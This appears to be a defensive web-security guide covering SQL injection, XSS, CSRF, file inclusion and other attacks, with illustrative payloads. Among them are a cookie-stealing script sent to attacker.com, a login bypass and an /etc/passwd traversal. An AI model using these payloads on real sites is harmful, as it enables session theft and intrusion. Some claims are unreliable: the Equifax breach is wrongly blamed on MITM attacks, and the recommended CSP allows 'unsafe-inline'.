Data breaches cost businesses an average of $4.45 million per incident in 2023, with web applications being the most common attack vector. Understanding how attackers steal data is the first step in protecting your website and users. In this comprehensive guide, we’ll explore the most common techniques used by cybercriminals and provide actionable defenses with real-world examples.
Table of Contents
- SQL Injection
- Cross-Site Scripting (XSS)
- Cross-Site Request Forgery (CSRF)
- Session Hijacking
- Man-in-the-Middle Attacks
- Brute Force Attacks
- File Inclusion Vulnerabilities
- API Abuse
- Comprehensive Defense Strategies
SQL Injection
How it works: Attackers inject malicious SQL commands into input fields to manipulate database queries.
Real-world example: In 2019, a hacker group used SQL injection to steal 885 million records from First American Financial Corp, including bank transactions and Social Security numbers.
Attack code example:
-- Instead of a normal username input:
username = 'john.doe'
password = 'secret123'
-- Attacker inputs:
username = 'admin'--'
password = 'anything'This bypasses authentication by commenting out the password check.
How to prevent it:
- Use prepared statements with parameterized queries:
// Bad (concatenated query)
db.query(`SELECT * FROM users WHERE username = '${username}'`);
// Good (parameterized)
db.query('SELECT * FROM users WHERE username = ?', [username]);- Implement ORM frameworks (Sequelize, TypeORM) that handle sanitization
- Apply the principle of least privilege for database accounts
- Regularly update database software
Cross-Site Scripting (XSS)
How it works: Attackers inject client-side scripts that execute when other users view the page.
Types:
- Stored XSS (malicious script stored in database)
- Reflected XSS (script reflected in immediate response)
- DOM-based XSS (client-side script manipulation)
Real-world example: In 2018, British Airways suffered an XSS attack that stole 380,000 payment cards by injecting a script that captured form data.
Attack code example:
<script> fetch('https://attacker.com/steal?cookie='+document.cookie);
</script>How to prevent it:
- Escape all user input before rendering:
// Using DOMPurify library
const clean = DOMPurify.sanitize(userInput);
document.getElementById('content').innerHTML = clean;Implement Content Security Policy (CSP) headers:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'- Use HttpOnly cookies to prevent JavaScript access
- Enable X-XSS-Protection header
Cross-Site Request Forgery (CSRF)
How it works: Attackers trick users into executing unwanted actions on a site where they’re authenticated.
Real-world example: In 2021, a CSRF vulnerability in WordPress plugins allowed attackers to change admin passwords.
Attack flow:
- User logs into bank.com
- User visits malicious site that contains:
<img src="https://bank.com/transfer?to=hacker&amount=10000">- Browser automatically sends authenticated request
How to prevent it:
- Implement CSRF tokens:
<form action="/transfer" method="POST"> <input type="hidden" name="_csrf" value="randomly-generated-token"> <!-- other fields --></form>Use SameSite cookie attribute:
Set-Cookie: sessionId=abc123; SameSite=Strict; Secure; HttpOnly- Verify Origin/Referer headers for sensitive actions
Session Hijacking
How it works: Attackers steal session identifiers to impersonate legitimate users.
Common methods:
- Packet sniffing unencrypted traffic
- XSS attacks to steal cookies
- Predictable session IDs
Real-world example: The Firesheep Firefox extension (2010) demonstrated how easy it was to hijack sessions on public WiFi by capturing unencrypted cookies.
How to prevent it:
- Always use HTTPS (with HSTS header)
- Implement secure cookie attributes:
Set-Cookie: sessionId=abc123; Secure; HttpOnly; SameSite=Strict; Path=/- Regenerate session IDs after login
- Implement IP binding for sensitive sessions
- Set short session timeouts
Man-in-the-Middle Attacks
How it works: Attackers intercept and potentially alter communication between two parties.
Real-world example: The 2017 Equifax breach was caused in part by MITM attacks due to failure to patch known vulnerabilities.
Attack methods:
- SSL stripping (downgrade HTTPS to HTTP)
- Rogue access points
- DNS spoofing
How to prevent it:
- Enforce HTTPS with HSTS header:
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload- Implement certificate pinning
- Use secure protocols (TLS 1.2+)
- Verify SSL certificates properly
- Educate users about public WiFi risks
Brute Force Attacks
How it works: Attackers systematically try many password combinations to gain access.
Real-world example: The 2012 LinkedIn breach exposed 117 million passwords due to weak hashing, making brute force easier.
Attack tools:
- Hydra
- John the Ripper
- Custom scripts
How to prevent it:
- Implement account lockouts after failed attempts:
// Example rate limiting middleware
const rateLimit = require('express-rate-limit');
const limiter = rateLimit({ windowMs: 15 * 60 * 1000, // 15 minutes max: 5 // limit each IP to 5 requests per windowMs
});
app.use('/login', limiter);- Use CAPTCHAs for repeated attempts
- Enforce strong password policies
- Implement multi-factor authentication (MFA)
- Use slow hashing algorithms (bcrypt, Argon2)
File Inclusion Vulnerabilities
How it works: Attackers exploit dynamic file inclusion to access sensitive files or execute code.
Types:
- Local File Inclusion (LFI)
- Remote File Inclusion (RFI)
Real-world example: The 2019 attack on U.S. school districts exploited LFI vulnerabilities to access sensitive student data.
Attack example:
https://vulnerable-site.com/page.php?file=../../../../etc/passwdHow to prevent it:
- Disable allow_url_fopen and allow_url_include in PHP
- Whitelist allowed file paths
- Use basename() to prevent directory traversal
- Store files outside web root when possible
- Implement proper file permission
API Abuse
How it works: Attackers exploit poorly secured APIs to access or modify data.
Common issues:
- Excessive data exposure
- Broken object level authorization
- Lack of rate limiting
Real-world example: In 2018, Facebook’s API vulnerabilities exposed 50 million user profiles to data harvesting.
Attack example:
# Enumeration attack on user IDs
curl https://api.example.com/users/12345
curl https://api.example.com/users/12346
...How to prevent it:
- Implement proper authentication (OAuth 2.0, JWT)
- Use rate limiting:
const apiLimiter = rateLimit({ windowMs: 15 * 60 * 1000, max: 100
});
app.use('/api/', apiLimiter);- Validate all input parameters
- Implement proper CORS policies
- Use API gateways for additional security layers
Comprehensive Defense Strategies
1. Secure Development Lifecycle
- Train developers in secure coding
- Implement code reviews with security focus
- Use static application security testing (SAST) tools
2. Regular Security Testing
- Conduct penetration tests annually
- Run vulnerability scans monthly
- Implement bug bounty programs
3. Defense in Depth
graph TD A[Firewall] --> B[WAF] B --> C[Authentication] C --> D[Authorization] D --> E[Input Validation] E --> F[Parameterized Queries] F --> G[Output Encoding] G --> H[Secure Headers]4. Essential Security Headers
Content-Security-Policy: default-src 'self'
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: no-referrer-when-downgrade
Feature-Policy: camera 'none'; microphone 'none'5. Monitoring and Response
- Implement SIEM (Security Information and Event Management)
- Set up alerts for suspicious activity
- Create and test an incident response plan
Conclusion
Web security is an ongoing process, not a one-time task. By understanding these common attack vectors and implementing the recommended defenses, you can significantly reduce your risk of data breaches. Remember:
- Never trust user input
- Apply the principle of least privilege
- Keep all software updated
- Encrypt sensitive data in transit and at rest
- Implement multiple layers of defense
Stay vigilant, conduct regular security audits, and foster a security-conscious culture within your development team. The cost of prevention is always less than the cost of a breach.


